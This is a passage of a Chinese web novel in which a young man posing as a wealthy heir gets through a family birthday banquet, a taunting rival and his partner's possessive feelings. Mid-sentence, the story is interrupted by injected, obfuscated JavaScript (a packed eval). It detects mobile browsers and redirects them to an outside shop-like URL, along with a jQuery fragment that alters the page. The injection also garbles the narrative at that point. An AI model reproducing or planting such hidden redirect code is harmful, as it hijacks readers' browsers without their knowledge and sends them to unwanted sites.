“看什么看。”祈愿的声音从旁边飘过来,还是那副欠揍的语气,“嫌他们烦,就别理。你是温大少,你甩脸子是应该的。” 沈恪忽然很想说点什么。 他一直都在。从国庆到现在,从商场到寿宴。 “祈愿。”他小声叫他。 祈愿瞥了他一眼。 “你人真好。” “……有病。” 沈恪被骂了也不生气,反倒笑得眉眼弯弯的,看起来傻里傻气。 祈愿像是被戳中了,人也跟着顿住。他看着那张脸,那张他不该觉得顺眼的温清然的脸,沈恪笑起来的时候,好像不太一样。 就是觉得……不讨厌。 他没再看,别过脸,盯着旁边那桌的兰花。 “傻乐什么。”他声音闷闷的,把手插回口袋,往里走了两步。 沈恪被白越牵着往前走,走出几步,忽然回过头冲他比了个口型。 “谢谢你。” 祈愿看见了。 他没什么表情,只是把手从口袋里抽出来,朝他挥了挥。 ——快走。 沈恪笑了,转过头,继续往前走。 祈愿站在原地,看着他的背影。 然后他低下头,看了一眼那盆兰花。 ……还挺好看的。 38. 他想亲他 侍者引着一行人入席。 老爷子端坐主位正中,温父温母依次坐在右侧,沈恪被安排在最靠近爷爷的晚辈位置,白越自然地挨着他坐下。主桌剩下的位置,留给了家里世交的长辈与几位分量极重的商界贵宾。不多一人,不少一人,规矩分明。 祈愿被引到主桌紧邻的次桌,位置体面、距离最近,却清清楚楚被划在了家人之外。他垂眸坐下,撑着下巴敲着杯壁,目光却始终没离开过主桌那道温顺的背影。 侍者轻手轻脚布菜,水晶灯的光落在桌面上,安静又体面。 老爷子端起青瓷茶杯轻抿一口,看向身侧的温止言:“今天人还算齐。” 温止言立刻敛去在外的一身威严,腰背微收,语气恭谨有度:“是,爸。该到的宾客与亲属都已安排妥当,不会出乱子。” 周婉容坐姿端庄,指尖轻抵杯沿,视线淡淡扫过沈恪,只一掠便转向白越,笑意浅淡:“白越,今天有劳你多看着小然。这孩子最近收心了,但场面大了容易不自在。” 温清然收心?周婉容这话说得倒是委婉。 白越心中轻轻笑了一下,什么都没说,只是稳稳按住沈恪的手,面上只余得体沉稳:“周姨放心,我会照看好他。” 沈恪点了点头,习惯性应道:“我会乖乖的。” 话一出口,沈恪自己先愣了一下,心里咯噔一声。 完了,说错话了。温清然可没有这么听话。 其他人会不会看出来? 他下意识想抬头看祈愿,但祈愿不在主桌。只好撇撇嘴巴,干巴巴地补救:“今天寿宴,”他试着抬了抬下巴,努力让表情看起来拽一点,又补了一句,“给爷爷面子,我就不闹了。” 白越握着沈恪的手,感觉到他在微微发抖。 指节绷着,掌心有一层薄薄的汗,整个人像一只被拎到陌生环境里的小动物,连呼吸都放轻了。 他低头看了一眼沈恪。那张脸努力绷着,嘴唇抿成一条线,不敢乱看,又忍不住偷偷看。明明紧张得要死,还硬撑着不让人发现。 他的小鹌鹑,又在努力扮演一只凶的了。 可爱。 白越弯了弯嘴角,手在他掌心轻轻按了一下。 老爷子目光微抬,淡淡扫过两人交握的手。那目光不重,但沈恪感觉后背一紧。 “稳重些。”老爷子的声音沉沉的,“今天是寿宴,也是温家的脸面。别出岔子。” “爷爷放心。”白越应声低缓。 “也是白越有耐心。”周婉蓉轻轻一笑,目光在两人身上转了一圈,“肯陪着他、教着他。有他在,我们做长辈的,也就放心了。” 她说得温温柔柔的,听着像是夸,但白越知道她在看什么。 她在看他对沈恪有多上心,看这段关系能走多远。 温止言也微微颔首,接了一句:“白越做事,我们放心。” 语气不咸不淡,但这话从他嘴里说出来,分量就不一样了。 一席话说完,桌上重归安静。无人喧哗,无人热络,却半点不冷场。温止言总会适时提起几句生意上的小事,话题轻描淡写地带过,整桌既不空寂,也不喧闹。 祈愿的目光始终没离开主桌。 沈恪说话的时候,他看见沈恪的表情骤然难看,看见他偷偷看白越,看见白越的手按上去,然后沈恪就不抖了。 他收回视线,低头看着面前的茶杯。 有人管他了。挺好。 他端起茶杯,喝了一口。 温的,有点涩。 真难喝。 他又喝了一口。 *** 灯光缓缓暗下,现场只余轻柔舒缓的弦乐低回。 登台的是业内颇有声望的财经频道资深主持人,常年出入商界峰会,气质沉稳持重。他站定在话筒前,语气平和有度:“各位来宾,各位长辈,各位朋友,晚上好。今天我们齐聚于此,共贺温老爷子八十大寿。白手立业,勤俭兴家,温家这些年稳步立业、踏实做事,才有了今日的门庭井然。今晚没有繁文缛节,只求家人团圆,体面周全。” 主持人微微欠身,目光落向主桌,语气敬重:“此刻,温老爷子已与家人在主桌安坐。让我们以掌声,祝老爷子福寿安康,温家安稳兴盛。” 全场鼓掌,灯光柔和地落在主桌。沈恪被白越牢牢牵在掌心,身体微微发僵,指尖不自觉地攥紧。他抬眼飞快扫过全场衣香鬓影、目光交错,心跳得愈发厉害。 “接下来,有请温老爷子,上台说几句。” 全场目光投向主桌正中。温老爷子微微颔首,在侍者的陪同下由主桌缓步上台,姿态沉稳,不怒自威。 老爷子站在台上,语气沉缓,带着商人一贯的直白简练:“今天感谢各位朋友、各位赏光前来。温家能走到今天,靠的是诚信立身,规矩行事。往后,生意归生意,家人归家人,界限分明,各行其道。希望温家后辈,记住肩上的责任,守好家业,稳住局面。别的不多说,大家尽兴。” 话音一落,便从容下台回座。 发言结束,全场掌声雷动。主持人继续引导子女辈上前为老爷子祝寿:“接下来,有请温家子女,为老爷子祝寿。” 几位近亲依次上前,每人捧一杯热茶,对着老爷子深深一鞠躬,声音恭敬简练,说着祝福的话。行完礼便退回原位,不煽情,不拖沓,满场都是规矩分寸。 轮到温止言,作为独子,他的致辞稍长一些。他站定在老爷子面前,语气郑重,提及温家从白手起家到如今立足商界的不易,感谢老爷子半生打拼与栽培,话里话外都在表态:他会稳稳接掌家业,守住温家的体面与利益。 说到后半段,他目光从堂间扫过,若无其事地掠过那几个各怀心思的私生子,语气里压着一层不动声色的警告:“家里的位置,向来有德有能者居之。安分守己,比什么都重要。” 这些话落在了沈恪的耳朵里全变成了巴拉巴拉巴咕咕嘎嘎嘎。 这些有钱人的发言低沉平稳,调子又缓,加上一早便起来化妆赶路,加之才经历过几次试探,他现在心力交瘁,困意一阵阵往上涌。沈恪听着听着,脑袋便轻轻一点一点的,眼皮半耷拉着,明明在认真听,却困得眼神发愣,像只被强行拽来出席大场面的小猫,困得快要眯过去。 白越在桌下轻轻捏了捏他的手,才让他勉强撑住没直接栽下去。 沈恪一个激灵,清醒了大半。他揉了揉眼睛,偷偷看了一眼白越,有点不好意思。 主持人的声音又响了起来。 他抬手示意:“接下来,有请温家孙辈为老爷子祝寿。” 温清然作为嫡孙,第一个被点到名。 沈恪心头一紧。他感觉自己的腿在抖,但他告诉自己不能抖。他深吸一口气,在白越温柔笃定的目光里,松开手,一步一步走向台前。 走过去的路好像很长。他能感觉到那些目光一针一针|刺在他身上。他硬着头皮睥睨了一遍全场,最后实现落在老爷子的鞋尖上。 他弯下腰,规规矩矩鞠了一躬。弯腰的时候,他脑子里一片空白,差点忘了词,但还好祈愿提前教过,他背下来了。 “祝爷爷福如东海,寿比南山。” 老爷子看着他,目光很深,等到沈恪都开始怀疑自己是不是被看出了什么不对劲才点了点头,吐出一个字:“好。” 沈恪松了口气,一颗心终于落回实处。 他的手心里全是汗。 主持人的声音再次响起,这次报的是温序言的名字。 沈恪微微一怔。只见那个先前在老爷子身侧安静倒茶的青年,从席间从容起身,步履稳当,仪态得体,一步步走到老爷子面前,躬身行礼。他抬眼时神色恭敬,开口称呼却清清楚楚,窜进沈恪耳中:“祝姨丈福寿安康,万事顺遂。” 姨丈。 不是爷爷,是姨丈? 沈恪愣了一下。 他花了几秒才反应过来:温序言是以周婉蓉妹妹的儿子的身份出现在这里的。名义上,他是“表弟”。 也就是说,温序言不能以自己的身份站在这里,因为他是私生子,见不得光。但周婉蓉的妹妹愿意让他过继到自己名下,他就变成了“姨表亲”,可以光明正大地出现。 沈恪眨眨眼。 好怪,豪门都这么绕来绕去的吗? 他偷偷看了一眼温序言,又偷偷看了一眼周婉蓉。 周婉蓉笑得端庄得体,正和旁边的人说话,一脸“这是我的优秀外甥”的样子。 温序言也笑眯眯的,一脸“这是我的亲亲姨妈”的样子。 两个人演得都挺像。 沈恪沉默了。 豪门好累。 他想挠头,但他的头发是喷了发胶的,挠不得。 他只能把那只蠢蠢欲动的手放回膝盖上。 等孙辈祝寿全部结束后,众人就近合了一张影。侍者很快端上造型精致的寿桃,由下人逐一分到每一桌。温老爷子拿起一枚,嘎嘣咬下一口,寓意福寿绵长。全场宾客见状,纷纷礼貌鼓掌,紧绷的氛围一时缓和不少。 沈恪站在人群边缘,偷偷松了口气。 祝寿结束了,他没露馅,好耶。 然后侍者开始上菜,主持人宣布开席。 侍者们有序上菜,菜品皆是高端食材,精致克制,绝不铺张。每上一道,侍者都会轻声报出菜名与吉祥寓意。弦乐轻缓流淌,席间只有杯盏轻碰与低声交谈,热闹却不嘈杂。 主桌之上,温父温母陪着寿星用餐,温老爷子吃了一会儿就摇着头走了。过没多久,温止言便携着周婉容起身,逐桌向宾客敬酒,感谢诸位多年照拂与支持。私生子们见状也立刻主动跟上,一左一右陪在温父身侧,借机攀谈结识商界人脉,言谈间刻意展露情商与能力。 沈恪不想去。 他就想安安静静地待着,别让任何人注意到他。 白越把他护在身边,他也乐得低着头,专心致志地对付面前那盘不知道是什么的东西。 摆盘很漂亮,雕成花一样的,旁边还淋了酱汁,看着跟画儿似的。 沈恪夹了一筷子,放进嘴里。 …… 不好吃。 他嚼了嚼,眉头微微皱起来。 真的不好吃,和他的炒饭有的一拼。 但看着好好看。 他又夹了一口放进嘴里。 呕,难吃。 他正吃着,忽然一道温和轻佻的声音插了进来,笑意浅浅,刺却藏得极深:“清然,好久不见,变化可真大。” 说话的是温择言,八个私生子里最会钻营、最擅长当面一套背后一套的人。他一身深灰西装,眉眼带笑,目光却从上到下不着痕迹地扫过沈恪,语气随意得像闲聊:“以前你在这种场合,可是最坐不住的那一个,今天怎么这么安静?该不会是……长大了,彻底转性了?” 温择言话音刚落,他身后便缓缓让出一道身影。那男人唇角勾着一点似笑非笑的弧度,目光沉沉地落在沈恪身上。 沈恪定睛一看,整个人瞬间僵住。 竟然是于送风。 好久不见,他都快忘了这茬人了。 温择言侧过头,和于送风交换了一个眼神。 沈恪忽然有一种很不好的预感。 “清然,”于送风笑得有些意味不明,“真是好久不见。” 沈恪的心脏几乎停跳了一拍。他不知道他会说什么,但他知道一定不是什么好话。 于送风看着他,目光从他脸上慢慢挪了下去,落到白越握着他的手上,嗤了一声,又看回来。“听说你要订婚了?”他笑了一下,“我特意来看看。” 沈恪嘴角绷紧。 又来了。从进宴会厅开始,就不断有人跟他说“要结婚了”“恭喜啊”“定下来了好”。怎么到处都在传他要订婚要结婚?偏偏他自己根本不知道这个事,他甚至不知道对象是谁。 沈恪嘴唇动了动,想解释,又不知道从哪解释。他总不能说“我不知道啊,你们搞错了吧”,那不是直接完蛋吗?可他也不好问。 早知道来之前应该和温清然问清楚的,光顾着期末复习了,把这事忘得干干净净。 于是沈恪只能尴尬地笑笑,什么都没说。 于送风看着他这副样子,瞬间来了兴致。他往前凑了凑,压低声音,几乎贴着沈恪的耳朵,语气恶劣得毫不掩饰:“没想到你和白越居然还好着啊?” 沈恪抿紧了唇。 他不喜欢于送风的语气。 于送风见他这副表情,忽然笑了:“来聊两句?”他往旁边偏了偏头,“那边人少。” 沈恪下意识看了一眼白越。白越正看着他,眼睛里没什么表情,但沈恪知道他在等自己选择。他该拒绝的,但他也想弄清楚到底是怎么回事。 “……好。”他听见自己说。 白越的目光沉了一瞬。但他什么都没说,只是松开了握着他的手。 沈恪跟着于送风往旁边走了几步,停在廊柱后面。不远处的觥筹交错被挡去大半,只剩隐约的谈笑声飘过来。 于送风侧过头,凑到他耳边,笑容邪佞:“怎么?变情种了?” 沈恪没说话。 于送风又凑近了一点。“我说,”他的声音几乎贴着沈恪的耳廓,“你不会真的不知道吧?” “不知道什么?” 于送风盯着他的表情,像在等一场好戏。然后他开口,每个字都嚼碎了再吐出来: “白越那野狗,是乱|伦生下来的东西。” 说完他盯着沈恪的脸,那双亮得吓人的眼睛死死地咬住沈恪的表情,等着看他变脸,或是露出恶心反胃的神色。 沈恪愣了一下。 哦。 什么意思? 这个词他其实不太懂。他只在病房里听过护士姐姐骂人,但那是骂不听话的病人,跟“乱|伦”好像不太一样。 脏话他听不懂,恶意他接不住。于送风这一招,基本是白搭。 但他看见于送风那张兴奋到扭曲的脸,就知道那肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265407|198096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是什么好话。 于送风等了两秒,没等到想要的反应,脸上的兴奋慢慢变成了烦躁。 “你听懂了没?”他气得嘴角都在抽搐,每个字都像是从牙缝里挤出来的,带着一股要把人撕碎的狠劲,“白越是野种!是他妈跟自己公公生的!你|他|妈异食癖啊这也吃得下去?!” 所以……为什么要骂白越啊? 沈恪抿了抿唇。 明明那么好的一个人,温柔又耐心,对谁都彬彬有礼的,对他更是关怀得无微不至。 沈恪抬起头。他看着于送风那张因为兴奋而扭曲的脸,忽然没那么慌了。 “于送风。”他轻声开口。 “?” 沈恪歪了歪头,十分困惑且不解。然后他抬起头,看着于送风,眼神干净得让人有点发毛:“你说这些的时候,难道不觉得难过吗?” “……?” 沈恪看着他,语气诚恳非常:“白越那么好的人,你却只能用这种话去攻击他。他又不是他的错。” 于送风一脸问号。 “他从来没伤害过我,”沈恪继续说,“把最好的都给了我,也没有在我面前说过谁的坏话。你为什么……” 他顿了一下,像是在思考怎么措辞。 “为什么要这么恨他?” 于送风盯着他,像在看什么奇怪的生物。 “厉害,真变情种了。”他往后退了一步,举起双手,“我是发现了,你不是变性了,你是变成脑残了。” “傻|逼。” 他转身就走。 “你才是呢。”沈恪小声嘟囔着。 他转过身就想回去找白越。 然后他愣住了。 祈愿不知道什么时候站在了他身后两步远的地方。手插在口袋里,脸上没什么表情,但他就站在那里。 沈恪眨了眨眼:“祈愿?你怎么……” “关你屁事。”祈愿翻了个白眼。 沈恪愣了一下,然后笑了。 祈愿别过脸,啧了一声:“傻乐什么,走了。” 他转身就走,但走得很慢。 自己本来是想过来解围的,结果沈恪刚才说的话他都听见了。 祈愿低着头,盯着自己的鞋尖。他想,沈恪那个笨蛋,怎么就能说出那种话。他又想,要是也有人这么护着他…… 算了,不想了。 好烦。 走回主桌的时候,他看见白越正看着他们。白越的目光在他脸上片刻,然后落在他身后的沈恪身上。 祈愿没看他,径直走回次桌坐下。 白越收回视线,握住沈恪的手。 “他和你说了什么?” 沈恪愣了一下,看着白越的眼睛。 那双眼睛里还是温柔,但底下好像有什么东西在翻涌。 “没什么。”沈恪小声说,“他骂你,我没让他骂。” 白越眉头一跳。 他没说话,只是看着沈恪。沈恪被他看得有点不好意思,低下头,耳朵红了一小块。 白越忽然笑了。很轻的一声笑,像是被什么取悦了。 他知道于送风会说什么。那些话是真的。每一句都是真的。他家的事,那些见不得光的东西,那个把他生下来的女人,那个这辈子都不会认他的男人。随便拎出一件,都足够让正常人转头就走。 于送风那条疯狗,自己得不到的东西也不会让别人好好拿着。他一定会说,而且一定会挑最脏的话说。 白越本来已经准备好了。准备好沈恪听完之后愣住,准备好他眼睛里那种干干净净的东西变掉,准备好沈恪对他说你真恶心。 事实上即便沈恪真这么做了自己也不会怪他,他不一样,和别人都不一样。会觉得自己恶心,自己也没办法对他生起气来。 ——可他没有。 白越的心跳开始加速。 他听着自己的心跳一直在快,越来越快,快得有点发疼。血液轰地涌向头顶,耳膜里嗡嗡的。 他说我很好。 那些见不得人的东西,那个从烂泥里爬出来的自己,那个他自己都觉得不正常的人……沈恪说他很好。 不是客套,不是敷衍。是真心觉得他好。是被人当面泼脏水之后,还是觉得他好。 白越垂下眼。 他想起以前那些人的眼神。知道他身世之后,有的厌恶,有的同情,有的假惺惺地安慰几句然后躲得远远的。没有一个像沈恪这样。 没有一个说这不是他的错。 更没有一个,在听完那些话之后,跑回来认认真真地告诉他:你很好。 白越的手指微微收紧。 他忽然觉得自己有点恶心。 明明知道自己是那样的人,明明知道那些话都是真的,明明知道自己配不上这种干干净净的好—— 但沈恪这么说的时候,他心里第一个念头居然是:太好了。 不是“太好了他没误会”,不是“太好了他还在”。 是“太好了,他不会跑了”。 那种扭曲的快意从心底翻涌上来,像藤蔓一样缠绕着他的心脏,一收一紧,又疼又爽。 他应该觉得自己恶心。 但他没有。 他只觉得兴奋。 他看着沈恪。看着那张因为熬夜复习有点苍白的脸,那双因为紧张而微微垂着的眼睛,那抿着的嘴唇。 他忽然很想亲他。 不是平时那种一触即分的亲法,也不是亲额头。 是另一种。 是会让沈恪那双干干净净的眼睛里只剩下自己的那种。 会让那张嘴再也说不出话的那种。 会让他发出那种他只听过一次、就一直忘不掉的声音的那种。 想把他整个人揉进自己身体里。 白越的呼吸重了。 他往前倾了倾。就那么一点,但他的身体已经动了。沈恪就在他面前,那么近,近到他只要再往前一寸,就能碰到他的嘴唇。 他的手指开始收紧。沈恪的手在他掌心里,软软的,温热的,骨节分明。他能感觉到那脉搏在跳,一下一下,和他的心跳一样快。 他应该停。他知道应该停。 但他的身体不听。 他又往前倾了一点点。 然后——沈恪轻轻嘶了一声。疼的。 白越的动作僵住了。 他看着沈恪,看着那张有点茫然的脸,看着那张温清然的脸。 忽然就清醒了。 他在干什么? 这里是寿宴。到处都是人。沈恪什么都不知道。沈恪只是觉得他好。沈恪还在因为他握得太紧而疼。 而他居然在想着这种事。 白越松开了手。 那些念头还在,滚烫的,一碰就疼。但他把它们压回去了。压到最底下,压到只有他自己知道的地方。 他抬起头,弯了弯嘴角。 “谢谢宝宝。”他说,声音轻轻的,和平时一样温柔。 39. 我说了算 用餐接近尾声,侍者们无声上前,将餐盘一一撤下。 沈恪低着头应付着桌上那黑乎乎的一小堆,像鱼眼睛,又像小时候玩的玻璃弹珠。 他夹了一颗放进嘴里,又咸又腥的味道在舌尖瞬间炸开,像一口吞进了半勺盐和一整条海鱼的腥气。难吃到他差点吐出来,但还好忍住了,硬生生咽了下去后猛灌进一口茶。 沈恪不信邪地又夹了一颗。一边嚼,一边偷瞄主桌的人。温父温母偶尔低声交谈几句,老爷子端坐着喝茶,没人说话,但也没人觉得冷场。 好像只有他一个人在嫌难吃。 沈恪低下头,继续对付那盘菜。 因为除了吃,他不知道自己还能做什么。 白越的手一直放在他膝盖上,拇指偶尔轻轻蹭一下,像是在说“我在”。 沈恪攥着筷子的手慢慢放松了一点。 …… 到了最后的分切蛋糕环节,侍者推着小车缓缓走来。 蛋糕车上是一个三层高的寿桃造型蛋糕,顶端立着一个“寿”字,灯光下泛着淡淡的金色。全场目光随之移动,最后落在主桌正中。 老爷子站起身。 全场安静。 他走到话筒前,声音不高,却清清楚楚送进每个人耳朵里: “温家的规矩,向来是长幼有序。该是谁的位置,就是谁的位置。守好自己的本分,比什么都重要。” 他的目光从沈恪身上扫过,又落在白越身上:“白家小子今天也来了。” 白越微微颔首。 老爷子点了点头,然后重新看向沈恪: “清然,过来。” 沈恪瞪大了眼睛,不知道喊自己是做什么,下意识看了一眼白越。白越轻轻捏了捏他的手,然后松开,像是在说没事的。 沈恪抿了抿唇,见老爷子和众人的目光都汇聚在自己身上,只得站起来走上台前。 一步。两步。三步。 那些目光一层一层压过来,他能感觉到重量,却不知道哪一道最沉。 手心开始发黏,他把指甲掐进肉里,试图让自己那颗狂跳的心脏能稍微冷静会儿。 老爷子握住他的手。 那只手很干,很稳,握着他的时候,沈恪感觉自己被什么东西压住了,一动不敢动。 老爷子带着他,一起握住了切蛋糕的刀。 全场安静。 静到沈恪能清楚听见自己的心跳。 刀落下。 那一秒被拉得很长。 满堂寂静里,只有刀锋切开糕体的声音,闷,钝,像碾过什么软的东西。 沈恪能听见自己的心跳,扑通扑通地敲在耳窝里。 蛋糕的切面缓缓露出来:腻白的奶油,绵黄的糕体,艳红的果酱。一层一层,像被剖开的内里。 然后老爷子低头看了他一眼。 就一眼。 沈恪的后背瞬间沁出一层薄汗。 侍者上前分蛋糕,宾客开始鼓掌,笑声和交谈声重新响起来。一切恢复正常,像什么都没发生过。 但沈恪知道,刚才那几秒,有什么东西不一样了。 …… 沈恪退回白越身边的时候手心里全是汗。 白越握住他的手,低声宽慰:“没事的,很勇敢了。” 沈恪点点头,但他还是忍不住往角落那桌看了一眼。 于送风坐在那里,端着酒杯,不知道在和旁边的人说什么。那人侧过头,沈恪才看清是温择言。 温择言笑了笑,拍了拍于送风的肩。 然后于送风抬起头,朝台上看了一眼,很快,像是不经意地扫过。 沈恪心里一紧。 等他回过神来,于送风已经在低头喝酒了,温择言也转过去和别人说话。 他盯着那桌看了两秒,没看出什么异常。 应该……是自己看错了吧。 *** 主持人宣布寿宴结束,宾客陆续离场。 温父温母站在宴会厅门口,微笑着和每一位宾客道别。白越和祈愿站在沈恪两侧,替他挡去了大部分目光。 但挡不住所有人。 私生子们走过来,一个一个,带着恰到好处的笑。 “爸,妈,我们先走了。” “老爷子保重身体。” “今天真是圆满。” 每个人都说了该说的话,每个人都笑得刚刚好。 然后有人停在了沈恪面前。 是温择言。 他笑着看沈恪,语气亲昵得像认识了很久的兄弟:“大哥,今天表现不错啊,老爷子挺高兴的。” 沈恪怔愣了下,然后糊里糊涂点了点头。 大哥?刚才不是还叫清然吗? 他还没反应过来,温择言已经笑着拍了拍他的肩:“以后多跟我们这些兄弟走动走动。毕竟……以后叫大哥的机会,也不多了。” 他转身走了。 沈恪茫然地看着他的背影,小声问白越:“他什么意思?” 白越笑了笑,低声说:“以前叫清然,现在叫大哥。说明你在他眼里,从那个嫡孙变成争家产的人了。” 沈恪恍然。 以前温择言叫他“清然”,是因为没把他当回事。现在叫他“大哥”,是因为老爷子今天只让他一个人切蛋糕? 原来如此。称呼变了,是因为地位变了。 沈恪咬着下唇。 有钱人的世界真是好现实,他好像终于有点理解温清然为什么总是很不待见自己那个家庭了。 *** 宾客全部离场后,宴会厅空了下来。 老爷子身边的助理走上前,语气恭敬:“清然小少爷,老爷子请您单独过去一趟。” 白越眉头微蹙,刚要开口,沈恪轻轻拉了拉他的袖口。 “我……我自己去。” 他不想事事都依赖别人,更不想在老爷子面前露破绽。 白越看了他一眼,低声说:“不管他说什么,你出来的时候,我都在。” *** 沈恪走到主桌旁,在老爷子对面坐下。 偌大的空间里只剩他们两个人,沉香气息浓郁得压人。老爷子坐在太师椅上,目光落在他身上,和刚才在台上的威严不同,现在这个老人看着倒有点寻常家庭老人家的感觉了。 “过来坐。”老爷子的声音不高,但比刚才软了一些。 沈恪乖乖往前挪了挪。 老爷子看了他一会儿,忽然开口:“瘦了。” 沈恪没反应过来。 瘦了?温清然以前很胖吗? 他脑子里冒出温清然圆滚滚的样子,抿住唇,把笑咽了回去。 “你比以前安静多了。”老爷子的语气里带着一点说不清的意味,“以前那个,一坐下就翘腿,三句话不离‘烦死了’。现在倒好,坐得比谁都规矩。” 沈恪心跳加速,脸上却不敢有半分异样。 他不知道该怎么接,只能低着头,小声说:“……以前不懂事。” 老爷子细细打量了他一番,忽然笑了一声:“你小时候可皮了,把我书房里的砚台摔了三个。我骂你,你还跟我顶嘴。” “现在长大了变懂事了也是好事。但你要是变得太彻底,连骨头都软了,在这个家里,是活不长久的。” 沈恪猛地一颤。 老爷子看着他这副样子,叹了口气:“我不是在骂你。”他的语气缓了缓,“是在教你。这个家里,多少人盯着你?你越软,他们越敢往上踩。” 老爷子又看了他一眼,那目光里有点复杂,忽然问道:“是不是出什么事了?” “你以前虽然混,但至少会闹。”老爷子的声音压得很低,“现在……像换了个人似的。” 这怎么答? 说“我不是你孙子”?谁信啊。 沈恪只好硬着头皮说:“白越教得好。” 说完他就后悔了。 这什么鬼回答?老爷子会信吗? 他不敢抬头看老爷子的表情。 老爷子坐在原地,身体没有任何动作,连表情都没变,只是静静地看着沈恪,目光矍铄,令人难以忽视。 那几秒里,沈恪感觉自己被从头到脚看了一遍。 然后老爷子叹了口气。 “……算了。不想说就不说。人总会变的。” 沈恪低着头,偷偷松了口气。 老爷子又问:“你和白越怎么样了?” “挺好的。” 老爷子嘴角轻轻动了一下:“白越那孩子,心思深。” “他对你好,但你自己要长个心眼。” 沈恪没懂。 他只觉得白越对他很好。很好很好。好到他有时候会想,如果这一切都是真的就好了。 至于白越心思深不深,他从来没想过。 见沈恪沉默,老爷子只抬手捏了捏眉心,声音也沉了下来:“温家的嫡孙,可以不闹,但不能没用。” 沈恪用力点头。 老爷子看了他一眼:“你爸那些荒唐事,是我管教不严。我不希望在你身上也看到他的影子。” 沈恪继续点头。 心里却忍不住想:荒唐事?什么荒唐事?是私生子的事吗? 算了不敢问。 老爷子沉默了一会儿,忽然伸手,在他肩上轻轻拍了两下。 “再怎么样,”他的声音很轻,“你也是我唯一的亲孙。这家业,最后还是你的。” “那些个……”他顿了顿,没说出“私生子”三个字,只是摆了摆手,“你不用管他们。再折腾,也翻不出花来。” 沈恪的声音卡在嗓子里,最终也只说出一个“好”。 他看着老爷子那张苍老的脸,那双有点浑浊却依旧锐利的眼睛,忽然不知道该说什么。 温清然和他爷爷……好像没那么差? 那他为什么每次提到家里都一脸嫌弃? 老爷子又开口了:“你和陶家那丫头的婚事,到底怎么回事?” 沈恪摇了摇头:“说是让我和她见一面,但她没来……” 话说到一半,他忽然想起刚才那些人说的“要结婚了”“恭喜啊”,犹豫了一下,小声问:“爷爷,这个婚事是真的吗?” 老爷子的眼睛上下扫了几次,还是决定提点几句:“有人想让你定下来。也有人不想让你定下来。你那几个兄弟,更是巴不得你一辈子单着。” “消息传得到处都是,但陶家的人一个都没来。你自己想想,是谁在传,又是谁想让陶家的人不来?” 老爷子放下茶杯,看着他,眼神稍有缓和:“陶家那丫头性子急。有人在背后拿她的婚事做文章,到处传谣,你觉得她会怎么做?” 沈恪有点迷茫。 他好像听懂了,又好像没听懂。有人在背后拿婚事做文章?是谁?周婉蓉?还是别人?陶兰会怎么做?来找他算账?还是来退婚? 他什么都不知道。 他只知道从进宴会厅开始所有人都在跟他说“要结婚了”,但那个要跟他结婚的人,他连见都没见过。 他试探性问道:“她会找上门来问个清楚?” 老爷子语气淡淡的:“你自己想想,到时候你怎么说。” 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白越伸手扶住他,另一只手很自然地从耳边放下来,指尖在领口蹭了一下,像只是整理了一下衣领。 沈恪没注意到那个动作。 但耳机那头,有什么东西被切断了。 白越低声问:“还好吗?” 沈恪点点头,又摇摇头。 他抬起头,看着白越的眼睛。那双眼睛里有关心,有温柔,还有一点点他没看懂的东西。 沈恪忽然想起刚才老爷子让他过去的时候,白越说的那句“不管他说什么,你出来的时候,我都在”。 他当时只是点点头,没多想。 但现在他出来了,白越真的还在。 “白越。”他小声叫他。 “嗯?” “你等我,我没怕。” 白越愣了一下。 沈恪说完也觉得有点怪,小声补了一句:“我是说……因为你一直在等我出来,想到这个,我就没害怕。” 白越眼眸一弯,笑意从眼底漾开:“我知道。” 沈恪看着他,不知怎么就笑了。那个笑从嘴角漫到眼睛里,亮亮的。然后他往前迈了一步。 他把手环上白越的腰,脸埋进他的肩膀,闷闷地说:“……好累噢。” 很轻的一下。像一只终于飞累了的小鸟,落在枝头。 他也不知道自己为什么突然就这么做。 可能是腿还软着,可能是那句话还在心里,也可能只是因为,白越还站在那里。 他没想明白,也懒得想。 他只想靠一会儿。 白越整个人顿住了。 那一瞬间,他脑子里是空的。 心跳却快了起来。 咚、咚、咚。 他见过沈恪害羞,见过沈恪躲闪,见过沈恪被他逗得满脸通红。但从来没有这样过,在没有自己引导的情况下沈恪主动抱他,环住他的腰,把整个人靠进他怀里。 就像是终于想通了什么,不再躲了。 他轻轻抬起手,掌心贴上沈恪的后背。 “累了就靠一会儿。”白越的声音在他耳边,低低的,“我们等一下就回家。” 沈恪嗯了一声,偷偷笑了一下。 他把脸埋得更深了一点。 有白越在,好像什么都不怕了。 因为白越的手,好暖。 …… 他在努力当“温清然”。 白越知道那种感觉。装成另一个人,演一场不属于自己的戏,有多累。 他想起之前祈愿教他的时候。沈恪学得很认真,一句一句背,一个一个动作练。从来没抱怨过,从来没说过不想学。 但白越看得出来,他更喜欢什么都不用装的时候。 坐在沙发上发呆的时候。趴在窗边看雨的时候。被他牵着手走在路上,什么都不想,只是走的时候。 那时候的他,眼睛是亮的。 如果有一天,沈恪要去见白家的人…… 白越忽然想,他大概也会这样教他。比祈愿更细致,把每个人的性格、每句话的分寸、每个笑的弧度,都掰开了揉碎了教给他。 然后他又会乖乖地学,乖乖地练,乖乖地把那些条条框框往自己身上套。 然后他的眼睛里,又会少一点光。 那个念头只转了一半,就被他自己按住了。 不。 不教。 他舍不得。 沈恪想怎么样就怎么样。想低头就低头,想躲就躲,想脸红就脸红。不管他搞砸什么,他都能收拾。 沈恪只需要做自己。 做那个会紧张、会脸红、会小声说“白越”的沈恪。 做那个看到漂亮的花会眼睛发亮、吃到难吃的东西会皱眉头、害羞得紧了会像鹌鹑一样把自己缩起来的沈恪。 做那个什么都不用装、什么都不用演的沈恪。 至于够不够让那些人满意,那是他们的事。 不满意的话,我帮他们满意。 够不够让他留下…… 我说了算。 …… 祈愿站在旁边,看见沈恪把脸埋进白越肩膀,啧了一声。 “走了走了,别在这腻歪。” 但他走了两步,又慢下来,回头看了一眼。 沈恪正低着头,整个人靠在白越身上。 祈愿收回视线。 行吧。 40. 睡不着了 